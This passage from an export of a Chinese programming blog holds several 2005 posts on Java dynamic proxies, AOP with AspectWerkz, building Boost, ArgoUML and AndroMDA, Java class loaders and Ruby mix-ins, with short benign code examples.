pf;\n}\npublic void run(){\nBusinessIntf b = (BusinessIntf)pf.newProxyInstance();\nb.doSomething();\n}\n}\n//Main.java\npublic class Main {\npublic PicoContainer buildContainer(ScriptedContainerBuilder builder,\nPicoContainer parentContainer, Object scope) {\nObjectReference containerRef = new SimpleReference();\nObjectReference parentContainerRef = new SimpleReference();\nparentContainerRef.set(parentContainer);\nbuilder.buildContainer(containerRef, parentContainerRef, scope, true);\nreturn (PicoContainer) containerRef.get();\n}\npublic void startup() {\nReader script = null;\ntry {\nscript = new FileReader(\u0026ldquo;nanocontainer.xml\u0026rdquo;);\n} catch (FileNotFoundException fnfe) {\nfnfe.printStackTrace();\n}\nXMLContainerBuilder builder = new XMLContainerBuilder(script,\ngetClass().getClassLoader());\nPicoContainer pico = buildContainer(builder, null, \u0026ldquo;SOME_SCOPE\u0026rdquo;);\nClient c = (Client)pico.getComponentInstance(Client.class);\nc.run();\n}\npublic static void main(String[] args){\nMain app = new Main();\napp.startup();\n}\n}\n//nanocontainer.xml\n/*******************************end******************************************/\n进化，go on!, AOP\n[Note]\n基础设施、业务组件和用户代码三者之间的关系：\nl 基础设施：包括系统的日志、安全性检查、事务管理等，这些功能的共同点 就是存在于各个业务对象的继承体系当中，任何业务对象都有可能需要它们。\nl 业务组件：系统对外提供核心业务逻辑的业务对象或业务对象的集合。\nl 用户代码：根据系统提供的业务接口，调用业务组件完成特定功能。\n一般用户代码只和业务组件打交道，用户并不关心业务组件是否使用了和使用了哪些基础设施。在Note中也说过基础设施存在于各个业务组件中，我们来考虑这样一个问题：假设我们有业务组件business1,business2,business3,我们提供了日志和事务管理两种基础设施，开始的时候我们由于需求的原因，我们只在各个业务组件（business1—business3）中使用了日志这么一种基础设施，现在需求发生变化了，我们需要在各个组件中加入事务管理。我们怎么办？体力活，一个组件一个组件的修改。客户的需求总是在变化，也许明天又会有“添加安全性检查”的需求。现在一切都集中到了这样一个问题上：\n**[**问题]\n“如何不修改业务组件代码，而动态的添加和删除组件需要的基础设施”？\nInterceptor(拦截器)，将各个基础设施都实现为拦截器，业务组件需要哪些基础设施直接在配置文件中配置即可。而业务组件在真正执行业务前需经过一个基础设施的拦截器链的拦截。而拦截器的一个主要的实现技术就是“动态带来技术”。当然这个实现更加复杂。\n了解AOP的人对上面的描述一定不会感到陌生，因为这也恰是一种AOP的思想。目前很多AOP的开源实现都是基于“动态代理”技术。著名的AOP联盟也发布了“基于动态代理的AOP框架”。如果对之感兴趣的话，可以继续深入研究。\n参考资料\n1、“动态代理的前世今生” 《程序员》 2005-01期\n2、《Hardcore Java》\n3、JDK Doc\n4、PicoContainer/NanoContainer Doc\n","permalink":"https://tonybai.com/2005/03/25/thoughts-on-dynamic-proxy/","summary":"\u003cp\u003e看了透明发表在《程序员》杂志2005年第一期上的“动态代理的前世今生”，让我不仅了解了“动态代理”这门技术，更让我知道了一段Java技术的发展史。带着对Rickard Oberg的钦佩之情，怀着对Rod Johnson敬仰之义我踏上了动态代理再思考之路。\u003c/p\u003e","title":"动态代理再思考"},{"content":"著名的C++准标准库boost在2004年末发布了1.32.0版本，作为C++的忠实Fans怎能“袖手旁观”，趁闲暇时download it and build it。[注]：由于没有公司Unix服务器的管理员权限，所以只能在自己的Windows平台上编译了。\n1、前提\na) 下载Boost_1_32_0源码包(http://sourceforge.net/project/showfiles.php?group_id=7586 ),由于在Windows平台下编译，我们可以选择下载boost_1_32_0.exe文件；\nb) 安装Windows下的GCC版本（这里我们使用开源的GCC作为编译工具，因为其Free），我选择了MinGW-3.2.0-rc-3（http://sourceforge.net/forum/forum.php?forum_id=438862 ）；\nc) 下载Boost专用build工具bjam，在Windows平台下我们可以得到已经编译好的bjam.exe（http://sourceforge.net/project/showfiles.php?group_id=7586\u0026amp;package_id=72941 ），你可以 下载boost-jam-3.1.10-1-ntx86.zip文件。\n2、目录结构\na) 运行下载后的boost_1_32_0.exe文件，选择解压缩到的目录即可。如D：\\boost_1_32_0;\nb) 将下载的bjam.exe拷贝到上述目录中。\n3、设置环境变量\na) 由于默认情况下，MinGW会安装在C：\\MinGW下，一旦你选择其他目录，你就需要自己设置Path。将%Your_MinGW_Install_Path%\\bin加入到你的系统Path变量中。\n4、Build\n在命令行下进入到boost源码包存放的目录，如D：\\boost_1_32_0，然后运行:\nbjam “-sTOOLS=gcc” install\n编译由此开始，如果你的系统没有装Python相关的东东，在编译的最开始会提示你一些warnings，无须理它，让它继续吧！默认的boost安装路径为C:\\boost，我们这里采用默认路径。\n5、Build结果\n编译的过程是漫长的(一般配置的机器2小时左右)，需要你耐心的等待。\n编译后结果：在C:\\Boost下生成两个文件夹include和lib，在D：\\ boost_1_32_0中则多了一个bin目录。\n6、应用boost\na) 设置boost库\n如果你使用的IDE（比如Microsoft Visual Studio或者MinGW Developer Studio(http://petra.hos.u-szeged.hu/~aking/www.parinya.ca/download/MinGWStudioFullSetupPlus-2.05.exe )）,你可以在IDE的include和lib路径中直接设置boost库的位置。如果你用的是命令行工具，对于复杂的项目构建估计你需要写你自己的Makefile了。\nb) 使用boost的例子\n//HelloBoost.cpp\n#include\n#include\n#include\nusing namespace std;\nusing namespace boost;\nint main()\n{ string s = \u0026ldquo;Hello Boost，This is a test\u0026rdquo;;\ntokenizer tok(s);\nfor(tokenizer::iterator beg=tok.begin(); beg != tok.end(); ++beg)\n{\ncout \u0026laquo; *beg \u0026laquo; \u0026ldquo;\\n\u0026rdquo;;\n}\n}\n//Compile: g++ -o HelloBoost.exe HelloBoost.cpp -I\u0026quot;C:\\Boost\\include\\boost-1_32\u0026quot;\n//output：\nHello\nBoost\nThis\nis\na\ntest\n现在你可以尽情去研究boost，体会它的无比强大了。\n","permalink":"https://tonybai.com/2005/01/28/build-boost-1-32-0/","summary":"\u003cp\u003e著名的C++准标准库boost在2004年末发布了1.32.0版本，作为C++的忠实Fans怎能“袖手旁观”，趁闲暇时download it and build it。[注]：由于没有公司Unix服务器的管理员权限，所以只能在自己的Windows平台上编译了。\u003c/p\u003e","title":"Boost_1_32_0版源代码编译"},{"content":"AOP的核心概念是关注点，我开始关注AOP。\n一、Why AOP?\na) AOP一般观点\n一般在开发系统时，我们可以大致的把系统的需求分类为核心模块级需求和系统级需求。很多系统级需求一般来说是相互独立的，但它们一般都会横切许多核心级模块。以一个电信领域的短信网关系统为例，系统的核心级需求是短信的收发，话单处理等，而其系统级的需求包括日志，校验以及性能问题等。像日志这种系统级的需求就横切短信收发、话单处理等几乎所有网关核心级需求。虽然横切需求会跨越多个模块，但目前的技术倾向于使用一维的方法学来处理这种横切需求，把对应需求的实现强行限制在一维的空间里。这个一维空间就是核心模块级实现，其他横切需求的实现被嵌入在这个占统治地位的空间，换句话说，需求空间是一个n维空间，而实现空间是一维空间，这种不匹配导致了糟糕的需求到实现的映射。\nb) AOP开发过程\nAOP（面向方面的编程方式）将上面所述的横切需求和核心需求都通通称为关注点(concerns)。AOP认为每一个复杂的系统都可以看作是由多个关注点来组合实现的。在这样的情况下，利用AOP开发系统的过程就变成了“识别关注点”（方面分解）—〉“实现关注点”—〉“组装关注点”（方面的重组，又叫织入）。\n二、AOP和OOP\na) AOP作为OOP的补充，它提供了另外一种考量程序结构(program structure)的方式。OO将系统分解成一系列具有继承体系关系的objects；而AOP则将系统分解为aspects or concerns。而且AOP可更好地将一些横切concerns模块化，便于复用和维护。\nb) AOP，从其本质上讲，使你可以用一种松散耦合的方式来实现独立的关注点，然后，组合这些松散耦合的、模块化实现的横切关注点来搭建系统。与之对照，用OOP建立的系统则是用松散耦合的模块化实现的一般关注点来实现的。在AOP中，这些良好模块化的横切关注点的实现单元叫方面（aspect），而在OOP中，这些一般关注点的实现单元叫做类（class）。\nc) 在AOP里，每个关注点的实现并不知道是否有其它关注点关注它，这是AOP和OOP的主要区别，在AOP里，组合的流向是从横切关注点到核心关注点，而OOP则恰恰相反。\nd) 感觉AOP是在OOP后对那些objects重新分类的过程，将被广泛关注的objects(即横切于多个objects中的objects)提取出来，加工后再重新和原来核心objects组合起来。\n三、AOP基本概念\n下面是一些AOP基本概念的解释，摘录自AspectJ的FAQ和Spring AOP的Online book：\na) Aspect(方面): A modularization of a concern for which the implementation might otherwise cut across multiple objects。\nb) Joinpoint（连接点）: Join points are well-defined points in the execution of a program. Not every execution point is a join point: only those points that can be used in a disciplined and principled manner are。\nc) Advice（通知）: Advice is code that executes at each join point picked out by a pointcut There are three kinds of advice: before advice, around advice and after advice. As their names suggest, before advice runs before the join point executes; around advice executes before and after the join point; and after advice executes after the join point. The power of advice comes from the advice being able to access values in the execution context of a pointcut.\nd) Pointcut（横切点）: A set of joinpoints specifying when an advice should fire. An AOP framework must allow developers to specify pointcuts: for example, using regular expressions. A pointcut picks out join points . These join points are described by the pointcut declaration. Pointcuts can be defined in classes or in aspects, and can be named or be anonymous.\ne) Weaving（织入）:将Aspects组装成为最终系统。这个织入过程可以在编译期完成，也可以在运行时完成。\n我想我们可以如下图理解AOP：\n|———————————–|\n| pointcut |\n| |————————| |\n| | advice1 | |\n| | |————–| | |\n| | | jointpoint1| | |\n| | |————–| | |\n| | | |\n| |————————| |\n| |\n| |————————| |\n| | advice2 | |\n| | |————–| | |\n| | | jointpoint2| | |\n| | |————–| | |\n| | | |\n| |————————| |\n| ……. |\n|————————————|\n","permalink":"https://tonybai.com/2005/01/28/focus-aop/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Aspect-oriented_programming\"\u003eAOP\u003c/a\u003e的核心概念是关注点，我开始关注AOP。\u003c/p\u003e\n\u003cp\u003e一、Why AOP?\u003cbr\u003e\na) AOP一般观点\u003cbr\u003e\n一般在开发系统时，我们可以大致的把系统的需求分类为核心模块级需求和系统级需求。很多系统级需求一般来说是相互独立的，但它们一般都会横切许多核心级模块。以一个电信领域的短信网关系统为例，系统的核心级需求是短信的收发，话单处理等，而其系统级的需求包括日志，校验以及性能问题等。像日志这种系统级的需求就横切短信收发、话单处理等几乎所有网关核心级需求。虽然横切需求会跨越多个模块，但目前的技术倾向于使用一维的方法学来处理这种横切需求，把对应需求的实现强行限制在一维的空间里。这个一维空间就是核心模块级实现，其他横切需求的实现被嵌入在这个占统治地位的空间，换句话说，需求空间是一个n维空间，而实现空间是一维空间，这种不匹配导致了糟糕的需求到实现的映射。\u003c/p\u003e","title":"关注，AOP"},{"content":"论坛上有人评价Java在过去的2004有两大值得称赞的技术发展，一个是Java在IOC模式上的成熟应用，再就是Java的AOP框架。\n一、好消息\n2005年一月份传来好消息，AspectJ与AspectWerkz合力打造AOP框架，两个开发团队将合力开发一个全新的面向方面编程（Aspect-Oriented Programming，AOP）平台，在其中融合双方的长处和经验。这两家都是业界重要的开源AOP实现，不过走了不同的技术路线：AspectJ一直坚持“预编译+源码生成”，AspectWerkz则是“元数据+运行时织入”的代表。关于两种技术路线、两种产品的争论一直是AOP社群的热点话题，如今两个开源组织决定彻底解决这个困扰。两家合并之后的第一个产品将是AspectJ 5，其中既有AspectJ风格的、基于语言扩展的AOP，也有AspectWerkz风格的、基于XML（和JSR-175 annotation）的AOP。随后，双方还会继续融合各自的长处和经验，努力提供一个完善而统一的AOP平台。\n下载了AspectJ和AspectWerkz，并分别看了一下各自的FAQ，得到2点结论：\n- 现在的AOP技术走势是动态织入；\n- AspectWerkz没有添加新的语法之类的东西，它使用的是标准的Java语法，上手简单，而AspectJ则构建一套自己的特殊语法，上手不易。\n所以在对AOP进行感性认识的阶段，我更倾向于使用AspectWerkz。\n二、Hello AOP!\n其实每个人在学习一门新的语言或技术的时候，都会经历一个“成就感驱动的”的学习过程。拿C为例，几乎每个初学者都会在几乎不懂任何C语法的情况下，照猫画虎地写出一个“Hello World”程序来。Why? Because he/she needs this feeling！如果连这样的一个小小的程序都运行不起来或者说出现满屏的错误，初学者的心理就会受到很大影响，也可能这个学习过程会就此结束。OK！作为一个AOP的初学者，我们也来个“Hello AOP”，使用AspectWerkz。\n上面已经提到，AspectWerkz使用标准Java语法，只要你学过Java，you have got the passport of the first gate to AOP。\n* 搭建AOP环境\n- 下载AspectWerkz包（http://aspectwerkz.codehaus.org/index-aw.html ）后解压到一个目录（假设为D:\\aw_2_0_2）,然后设置环境变量ASPECTWERKZ_HOME=D:\\ aw_2_0_2。\n- 设置PATH环境变量\nPATH=%ASPECTWERKZ_HOME%\\bin\n- 设置CLASSPATH环境变量\nCLASSPATH=%ASPECTWERKZ_HOME%\\lib\\aspectwerkz-2.0.RC2.jar;%ASPECTWERKZ_HOME%\\lib\\aspectwerkz-jdk14-2.0.RC2.jar;%ASPECTWERKZ_HOME%\\lib\\dom4j-1.4.jar;%ASPECTWERKZ_HOME%\\lib\\qdox-1.4.jar;%ASPECTWERKZ_HOME%\\lib\\concurrent-1.3.1.jar;%ASPECTWERKZ_HOME%\\lib\\trove-1.0.2.jar;%ASPECTWERKZ_HOME%\\lib\\jrexx-1.1.1.jar;%CLASSPATH%\n* 开始AOP\n1）这里我们要在屏幕打印出“Hello AOP!”，看如下代码：\n//HelloAOP.java\npublic class HelloAOP {\npublic static void main(String args[]) {\nHelloAOP ha = new HelloAOP();\nha.test();\n}\npublic void test() {\nSystem.out.println(\u0026ldquo;Hello AOP!\u0026rdquo;);\n}\n}\n编译HelloAOP.java文件：javac HelloAOP.java\n2）现在我要在输出“Hello AOP!”前后做一些工作，这些工作在运行时会得到调用机会，如果使用AOP术语，我们可以说我们要编写我们的aspect，这个aspect会在运行时被weave into （织入）HelloAOP class。\n//MyAspect.java\nimport org.codehaus.aspectwerkz.joinpoint.JoinPoint;\npublic class MyAspect {\npublic void beforeTesting(JoinPoint joinPoint) {\nSystem.out.println(\u0026ldquo;before testing…\u0026rdquo;);\n}\npublic void afterTesting(JoinPoint joinPoint) {\nSystem.out.println(\u0026ldquo;after testing…\u0026rdquo;);\n}\n}\njavac MyAspect.java\n3）织入过程并不简单，我们需要撰写一个描述文件来将aspect和其织入的class中的信息联系起来。\n//aop.xml\n4)run it\naspectwerkz -Daspectwerkz.definition.file=aop.xml HelloAOP\n//output:\nbefore testing…\nHello AOP!\nafter testing…\nEverything is Perfect!\n","permalink":"https://tonybai.com/2005/01/22/hello-aop/","summary":"\u003cp\u003e论坛上有人评价Java在过去的2004有两大值得称赞的技术发展，一个是Java在IOC模式上的成熟应用，再就是Java的AOP框架。\u003c/p\u003e\n\u003cp\u003e一、好消息\u003cbr\u003e\n2005年一月份传来好消息，\u003ca href=\"http://www.eclipse.org/aspectj/\"\u003eAspectJ\u003c/a\u003e与\u003ca href=\"http://aspectwerkz.codehaus.org/\"\u003eAspectWerkz\u003c/a\u003e合力打造AOP框架，两个开发团队将合力开发一个全新的面向方面编程（\u003ca href=\"http://en.wikipedia.org/wiki/Aspect-oriented_programming\"\u003eAspect-Oriented Programming\u003c/a\u003e，AOP）平台，在其中融合双方的长处和经验。这两家都是业界重要的开源AOP实现，不过走了不同的技术路线：AspectJ一直坚持“预编译+源码生成”，AspectWerkz则是“元数据+运行时织入”的代表。关于两种技术路线、两种产品的争论一直是AOP社群的热点话题，如今两个开源组织决定彻底解决这个困扰。两家合并之后的第一个产品将是AspectJ 5，其中既有AspectJ风格的、基于语言扩展的AOP，也有AspectWerkz风格的、基于XML（和JSR-175 annotation）的AOP。随后，双方还会继续融合各自的长处和经验，努力提供一个完善而统一的AOP平台。\u003c/p\u003e","title":"Hello，AOP"},{"content":"由于Dominoo近期策略的改变，所以我开始关注和研究UML和MDA领域较为出名的开源项目。我准备先拿ArgoUML和AndroMDA“开刀”。\n* ArgoUML\n简介：ArgoUML is a modelling tool that helps you do your design using UML and it is the winner of 13th annual productivity award of software development。\n主页：http://argouml.tigris.org\n* AndroMDA\n简介：AndroMDA is an open source MDA framework。\n主页：http://www.andromda.org\n* 构建（build）方法\nIn my opinion，常见开源项目构建的两种方法：\nGet the source code from cvs and build it in an IDE;\nDownload the source code package and build it with your patience。\n第二个方法显然比较困难，不过这里我将采用之。\n* Build ArgoUML\n1.前提\n- 下载ArgoUML源码包(ArgoUML-0.16.1-src.zip)及相关库文件（JAR文件）；\n- 安装JDK1.4以上版本（不要使用JDK5.0）；\n- 安装Ant1.4.1以上版本。\n2.目录结构\n- src_new：存放ArgoUML源码文件(src_new是解开源代码包后默认的目录名，如果你要换目录名，请注意修改src_new/build.xml文件中相关名字)\n- lib：存放构建ArgoUML所需的相关JAR文件，包括nsuml.jar, ocl-argo.jar, gef.jar, i18n.jar, antlrall.jar, toolbar.jar,xerces.jar,jmi.jar,log4j.jar。\n3.设置环境变量\n- 设置JAVA_HOME环境变量；（一般安装JDK后会自动设置）；\n- 设置lib中相关JAR文件的CLASSPATH；\n4.修改src_new\\build.bat文件\n设置ANT_HOME=${Your_Ant_Install_Path};//如ANT_HOME=D:\\OpenSource\\Ant-1.6.2\n5.运行build.bat\n在命令行下进入src_new目录，敲入build即可。\n6.Build结果\n在src_new目录所在的目录下会创建build目录，所有编译生成的.class文件都会放在build\\classes中相应的子目录中。\n7.小技巧\n由于一旦编译出错就会在屏幕上打印出太多的信息，而Windows命令行窗口会自动删除以前过多的输出信息，这样就为我们差错带来不便，建议使用命令管道，如build \u0026gt; build_output.txt，这样build过程所输出的信息就会重定向到build_output.txt文件中，便于我们查找出错之处。\n* Build AndroMDA\n1.前提\n- 下载AndroMDA源码包(andromad-src-3.0M3.zip)；\n- 安装JDK1.4以上版本；\n- 安装Ant；\n- 安装Maven1.0以上版本。\n2.目录结构\nandromda-src-3.0M3：存放AndroMDA源码文件\n3.设置环境变量\n- 设置JAVA_HOME环境变量；（一般安装JDK后会自动设置）；\n- 设置ANT_HOME环境变量；ANT_HOME=${Your_Ant_Install_Path};\n- 设置MAVEN_HOME环境变量：MAVEN_HOME=${Your_Maven_Install_Path}；\n- 设置Path环境变量：在Path环境变量中加入%MAVEN_HOME%\\bin；\n- 设置MAVEN_OPTS环境变量：MAVEN_OPTS=-XX:MaxPermSize=128m -Xmx512m。\n4.创建项目的build.properties文件\n在andromda-src-3.0M3目录下创建build.properties文件，文件内容如下：\n## ———————————————————-\n## ${user project home}/build.properties\n## ———————————————————-\nmaven.proxy.host = xx.xx.xx\nmaven.proxy.port = 8080\nmaven.proxy.username = xx\nmaven.proxy.password = xx\nmaven.repo.remote = http://public.planetmirror.com/pub/maven,\nhttp://mirrors.sunsite.dk/maven/,\nhttp://www.ibiblio.org/maven/\n#maven.proxy.username =\n#maven.proxy.password =\n如果你是通过代理服务器上网，请注意代理服务器的设置。\n5.Build\n在命令行下进入andromda-src-3.0M3目录，敲入Maven即可。\n万里长征终于走出了第一步！看到屏幕上的BUILD SUCCESSFUL，心里还是蛮痛快的^_^。\n","permalink":"https://tonybai.com/2005/01/19/build-argouml-and-andromda/","summary":"\u003cp\u003e由于Dominoo近期策略的改变，所以我开始关注和研究UML和MDA领域较为出名的开源项目。我准备先拿ArgoUML和AndroMDA“开刀”。\u003c/p\u003e","title":"Build ArgoUML and AndroMDA"},{"content":"大家都是对软件充满无限激情的人，大家都致力于能开发出能被大家所广泛接受和使用的软件。可是激情归激情，我们还得脚踏实地。项目遇到了障碍，我们需要改变思路。\n从04年的12月末到现在，大家好像都不约而同地沉寂了下来，好像大家都累了或者都在反思着某些事情，大家好像都有一个感觉就是我们对我们所要做的并不是那么的熟悉和了解。我们并不能详细而又清晰的勾勒出我们要做的东西的轮廓。想象一下一个没有吃过“葱烧海参”的厨师做出的“葱烧海参”会是个什么样子呢？也许可以吃，但最大的可能是变了味儿。在Dreamhead的题为“Dominoo的方向”的mail中也提到“创新的前提是什么？绝不是凭空制造。了解已有的东西，在此基础之上找到不足之处，再图改进。”的确我们了解的太少，我坚信我们要做的东西会是一个“innovation”，但是想归想，真正做起来我们还是要考虑方法的，还是那句话“脚踏实地，厚积而勃发”。\n针对以上项目出现的问题，我们改变了思路。Dreamhead语“对于Dominoo而言，对于现在的我们而言，我们面对的是一大片开阔地，虽然那里已有人迹，但我们尚未过去。”我们要走过去看看，看看人家的做法，做到知己知彼。\n我们决定从下列角度切入：\n* 了解工具：现有的开源UML工具、MDA工具\n* 了解新技术理论：AOP、DSL、LOP等\n* 了解基础技术：语言特性、编译器技术。\n","permalink":"https://tonybai.com/2005/01/17/dominoo-notes-part4/","summary":"\u003cp\u003e大家都是对软件充满无限激情的人，大家都致力于能开发出能被大家所广泛接受和使用的软件。可是激情归激情，我们还得脚踏实地。项目遇到了障碍，我们需要改变思路。\u003c/p\u003e","title":"Dominoo项目日记(四)"},{"content":"在一个朋友的书架上发现王森著的《Java深度历险》一书，看了书的前言了解该书是关于Java底层技术内幕的。怀着好奇心浏览了一下，谈不上有太多收获，但也记下了一些自认为有益的两点。\n* Java xxx\n我们在命令行下敲入：“java xxx”后会发生什么呢？\n流程如下：\n1.找到JRE；\n2.找到JVM.dll；\n3.启动JVM，并进行初始化；\n4.产生Bootstrap Loader；\n5.载入ExtClassLoader；（Ext – Extended）\n6.载入AppClassLoader；\n7.加载xxx类。\n书中提到Bootstrap Loader、ExtClassLoader和AppClassLoader构成了Java的“类加载器继承体系–class loader hierarchy”,其中Bootstrap Loader是由C++编写的，其他两个是由Java写的。之所以成为“继承体系”是因为这三个loader之间是有联系的。Bootstrap Loader负责加载ExtClassLoader，后者ExtClassLoader就将其parent置为Bootstrap Loader。AppClassLoader较为特殊，虽然由Bootstrap载入，但是其parent却置为ExtClassLoader。其原因是为了实现“委托模型”。简述“委托模型”就是当类加载器有加载类的需求时，会先请求其parent使用其搜索路径帮助加载，如果其parent找不到，才使用自己的搜索路径进行加载。如上述所说当ExtClassLoader想载入AppClassLoader类时它首先请求其parent “Bootstrap Loader”帮忙，Bootstrap Loader将AppClassLoader载入后，由于这个载入是ExtClassLoader请求的，所以AppClassLoader的parent还是置为ExtClassLoader而不是Bootstrap Loader。\n* 类的加载流程\n类加载的时候遵循一个原则：“类加载器会依类的继承体系从上至下依次加载”。举个例子：“如果C继承了B并实现了接口I，而B有继承自A”，则类加载器在加载C时，加载的次序会是A-\u0026gt;B-\u0026gt;I-\u0026gt;C，（注：interface会如同class一样被Java编译器编译为独立的.class文件）\n其实我对底层的东西并未给与太多的关注，如果在哪个项目中需要我去了解底层的话，我会去很好的学习。\n","permalink":"https://tonybai.com/2005/01/16/deep_into_java/","summary":"\u003cp\u003e在一个朋友的书架上发现王森著的《\u003ca href=\"http://book.douban.com/subject/1119896/\"\u003eJava深度历险\u003c/a\u003e》一书，看了书的前言了解该书是关于\u003ca href=\"http://java.com/\"\u003eJava\u003c/a\u003e底层技术内幕的。怀着好奇心浏览了一下，谈不上有太多收获，但也记下了一些自认为有益的两点。\u003c/p\u003e\n\u003cp\u003e* Java xxx\u003c/p\u003e\n\u003cp\u003e我们在命令行下敲入：“java xxx”后会发生什么呢？\u003c/p\u003e\n\u003cp\u003e流程如下：\u003cbr\u003e\n1.找到JRE；\u003cbr\u003e\n2.找到JVM.dll；\u003cbr\u003e\n3.启动JVM，并进行初始化；\u003cbr\u003e\n4.产生Bootstrap Loader；\u003cbr\u003e\n5.载入ExtClassLoader；（Ext – Extended）\u003cbr\u003e\n6.载入AppClassLoader；\u003cbr\u003e\n7.加载xxx类。\u003c/p\u003e","title":"深入Java底层"},{"content":"小小饮水机，里面也有值得思考的东西。\n* 起因\n昨晚回到寝室感到口渴，顺手按下了门旁饮水机的加热开关，到洗漱间洗了把脸，拿着水杯出来接水，看到加热灯已经变成绿色（我们的饮水机的加热指示灯在加热过程中是红色的，加热结束后会变成绿色，我想大多数饮水机都是这样的）我就按下热水出水开关接热水，可是却不见热水流出，这时我才注意到原来水桶里已经没水了。当时想的是这样无水加热会不会烧坏饮水机，恰好旁边有一装满水的新桶，我快速将之换上，心里想着那个绿灯肯定会马上变红，可是等了半天绿灯还是绿灯，没有任何重新加热的迹象，我很是感到奇怪，我尝试着按下热水出水开关，烧开的热水不竭的流到我的杯子中，当时就是感到挺困惑的，但是也没多想，咕噜噜的喝着烧开的热水，真是解渴亚。\n* 加热保护\n今天早上在来公司路上，突然灵光一现，想到了这个问题：“这可能就是饮水机的加热保护在作怪”。实际上在我加热的时候饮水机里的加热槽里是有水的，但是为了防止用户将这里的水全部用光，导致无水加热，饮水机在用户没有换新桶之前是不会放出这里的水的，这也是在警告用户该换桶了。直到用户换完新桶，饮水机的担心解除了，才自然把水流到你的杯子中。\n* 猜想饮水机加热关注点\n其实饮水机只需关注是否有新水源，如果有，一切OK，你想加热就加热，你想出水就出水；一旦没有新水源了，你可以加热，但是你是喝不到热水的。\n","permalink":"https://tonybai.com/2005/01/16/heating-protection-of-water-dispenser/","summary":"\u003cp\u003e小小饮水机，里面也有值得思考的东西。\u003c/p\u003e\n\u003cp\u003e* 起因\u003cbr\u003e\n昨晚回到寝室感到口渴，顺手按下了门旁饮水机的加热开关，到洗漱间洗了把脸，拿着水杯出来接水，看到加热灯已经变成绿色（我们的饮水机的加热指示灯在加热过程中是红色的，加热结束后会变成绿色，我想大多数饮水机都是这样的）我就按下热水出水开关接热水，可是却不见热水流出，这时我才注意到原来水桶里已经没水了。当时想的是这样无水加热会不会烧坏饮水机，恰好旁边有一装满水的新桶，我快速将之换上，心里想着那个绿灯肯定会马上变红，可是等了半天绿灯还是绿灯，没有任何重新加热的迹象，我很是感到奇怪，我尝试着按下热水出水开关，烧开的热水不竭的流到我的杯子中，当时就是感到挺困惑的，但是也没多想，咕噜噜的喝着烧开的热水，真是解渴亚。\u003c/p\u003e","title":"饮水机的加热保护"},{"content":"在Matz的一篇PPT“Object-Oriented scripting in Ruby”中，Matz提到Ruby提供一种语言机制Mix-in，在其PPT中如是描述的“No Multiple Inheritance，but Mix-in”、“Mix-in is as strong as multiple inheritance，but simple”。\n* “module” in Ruby\n在C++、Java、C#中都有namespace的概念，是用来隔离代码，防止代码冲突的。在Ruby中是采用“module”这个关键字来完成namespace功能的。\n//considering the following code:\n//MicrosoftCompiler.rb\nmodule Microsoft\ndef Microsoft.compile\nprint \u0026ldquo;This is microsoft\u0026rsquo;s compiler\u0026rdquo;, \u0026ldquo;\\n\u0026rdquo;\nend\nend\n//SunCompiler.rb\nmodule Sun\ndef Sun.compile\nprint \u0026ldquo;This is Sun\u0026rsquo;s compiler\u0026rdquo;, \u0026ldquo;\\n\u0026rdquo;\nend\nend\n//TestCompiler.rb\nrequire \u0026ldquo;D:\\\\Ruby\\\\MicrosoftCompiler.rb\u0026rdquo;\nrequire \u0026ldquo;D:\\\\Ruby\\\\SunCompiler.rb\u0026rdquo;\nMicrosoft.compile\nSun.compile\n//output:\n\u0026gt;ruby TestComplier.rb\nThis is microsoft\u0026rsquo;s compiler\nThis is Sun\u0026rsquo;s compiler\n\u0026gt;Exit code: 0\nmodule除了体现namespace的概念外，从上面代码中我们还可以看到在两个module中定义的method和调用这个method时都在其前面加上其所在module的名字了。这样定义的函数叫module method。但是不是所有要使用module中函数都要显式的加上module名字呢？答案：不是。请往下看。\n* Mix-in ：Another wonderful use of “module”\n由module method的定义和调用方式让我们联想到class method（注意不是class instance method），也让我们从module联想到class了。但是A module是不能像class那样拥有实例的，module毕竟还不是class，但是我们可以在class的定义中“include”一个module，这样会发生什么呢？\n//considering the following code:\nmodule Mammal # 哺乳动物\ndef suckle # 哺乳\nprint \u0026ldquo;I can suckle my baby\u0026rdquo; ,\u0026quot;\\n\u0026quot;\nend\nend\nmodule Flyable #可飞行的\ndef fly #飞行 print \u0026ldquo;I can fly\u0026rdquo;, \u0026ldquo;\\n\u0026rdquo;\nend\nend\nclass Chiropter #蝙蝠\ninclude Mammal #蝙蝠是哺乳动物\ninclude Flying #蝙蝠可以飞行\nend\naChiropter = Chiropter.new\naChiropter.suckle\naChiropter.fly\n//output：\n\u0026gt;ruby TestMixin.rb\nI can suckle my baby\nI can fly\n\u0026gt;Exit code: 0\n如上面代码得出的结果我们可以看出，一旦一个class中include了一个module,那么所有module中的methods就好像成为class’s instance methods一样，这就是mix-in，看起来被mix-in的modules的行为更像是这个class的super class，通过这种方法我们可以间接实现多重继承。但是注意看看被mixin的module中的函数是如何定义的？和前面代表namespace概念的module中的method定义不同的是在于定义时method name前不见了module name，这样定义出来的method叫module instance method,虽然module不能实例化，但是一旦被mixin到某个class中，这些module instance method的使用就等价于class instance method了。\n总结：\n1.Module的两种用法\na) 体现namespace概念；\nb) 被mixin到class中间接的实现类的多重继承。\n2.Module中的两种method定义和用法\nmodule module_name\ndef module_name.module_method_name\n# module method , for representing namespace concept\nend\ndef module_instance_method_name\n# module instance method\n# Once the module has been mixed in,\n#the method will be equal to a class instance method\nend\nend\n","permalink":"https://tonybai.com/2005/01/12/mix-in-in-ruby/","summary":"\u003cp\u003e在\u003ca href=\"http://en.wikipedia.org/wiki/Yukihiro_Matsumoto\"\u003eMatz\u003c/a\u003e的一篇PPT“Object-Oriented scripting in Ruby”中，Matz提到\u003ca href=\"http://ruby-lang.org/\"\u003eRuby\u003c/a\u003e提供一种语言机制Mix-in，在其PPT中如是描述的“No Multiple Inheritance，but Mix-in”、“Mix-in is as strong as multiple inheritance，but simple”。\u003c/p\u003e","title":"Mix-in in Ruby"},{"content":"敏捷设计最基本原则：“开放封闭原则（OCP，Open-Close Principle）”\n* 回顾SRP\n在开始谈OCP之前，我们还是简单回顾一下Bob大叔在其书中所论述的敏捷设计的第一个原则“单一职责原则（SRP，Single Responsibility Principle）”。\nBob大叔在其书中将职责理解为“变化的原因”。一般当需求变化时，该变化就会反映为类的职责的变化。按书中所述“如果一个类的职责过多，会使职责间产生耦合，一个职责的变化可能会削弱或抑制另一个类完成其他职责的能力，导致该设计的脆弱性。”根据这点论述得出结论：“就一个类而言，应该仅有一个引起它变化的原因”。\n简单举个书中的例子理解一下（这里不作详细说明）：\n//Modem.java\npublic interface Modem{\nvoid dial(String portNo);\nvoid 